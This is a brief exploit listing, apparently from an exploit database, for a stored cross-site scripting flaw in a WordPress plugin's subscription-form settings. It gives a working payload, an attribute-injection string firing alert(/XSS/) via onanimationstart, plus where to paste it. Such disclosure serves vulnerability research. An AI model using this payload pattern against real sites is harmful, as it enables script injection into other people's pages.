## https://sploitus.com/exploit?id=WPEX-ID:090DBDF4-61E2-4B51-A3E2-76096596C514
Put the payload in any text field of the "8 Do you want to show a subscription form (increases sign-ups)? » Text above the entry field » Text" settings and save: " style=animation-name:rotation onanimationstart=alert(/XSS/)//
The XSS will be triggered when reaccessing the settings.